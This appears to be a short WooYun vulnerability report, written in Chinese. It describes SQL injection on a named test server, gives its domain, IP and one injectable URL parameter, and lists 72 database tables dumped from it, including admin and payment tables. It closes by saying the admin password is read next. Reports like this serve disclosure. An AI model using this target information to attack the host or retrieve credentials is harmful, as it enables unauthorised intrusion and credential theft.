WooYun.org

www.test.sfn.com.cn
IP： 210.72.13.62
貌似是一个上线准备前的测试服务器？
页面任意连接只要是动态的都存在SQL注入漏洞
http://www.test.sfn.com.cn/index.php/trends/li/1?c_id=4

得到当前库和表
Database: testsfn_db
[72 tables]
+------------------------+
| admin_group |
| admin_user |
| cms_article |
| cms_channel_page |
| cms_comment |
| cms_resource |
| cms_uploaded_file |
| notice |
| rzw_acategory |
| rzw_address |
| rzw_advertisement |
| rzw_appointment |
| rzw_article |
| rzw_article_priv |
| rzw_attribute |
| rzw_brand |
| rzw_cart |
| rzw_category_goods |
| rzw_category_store |
| rzw_collect |
| rzw_comment |
| rzw_coupon |
| rzw_coupon_sn |
| rzw_friend |
| rzw_function |
| rzw_fund |
| rzw_fund_image |
| rzw_gcategory |
| rzw_goods |
| rzw_goods_attr |
| rzw_goods_image |
| rzw_goods_qa |
| rzw_goods_spec |
| rzw_goods_statistics |
| rzw_groupbuy |
| rzw_groupbuy_log |
| rzw_mail_queue |
| rzw_member |
| rzw_member1 |
| rzw_member_article |
| rzw_member_region |
| rzw_member_trade |
| rzw_message |
| rzw_micro_apply |
| rzw_micro_credit |
| rzw_micro_credit_image |
| rzw_module |
| rzw_navigation |
| rzw_order |
| rzw_order_extm |
| rzw_order_goods |
| rzw_order_log |
| rzw_pageview |
| rzw_partner |
| rzw_payment |
| rzw_privilege |
| rzw_project |
| rzw_project_image |
| rzw_recommend |
| rzw_recommended_goods |
| rzw_region |
| rzw_scategory |
| rzw_sessions |
| rzw_sessions_data |
| rzw_sgrade |
| rzw_shipping |
| rzw_store |
| rzw_uploaded_file |
| rzw_user_coupon |
| rzw_user_priv |
| system_log |
| uc_members |
+------------------------+
然后读取管理密码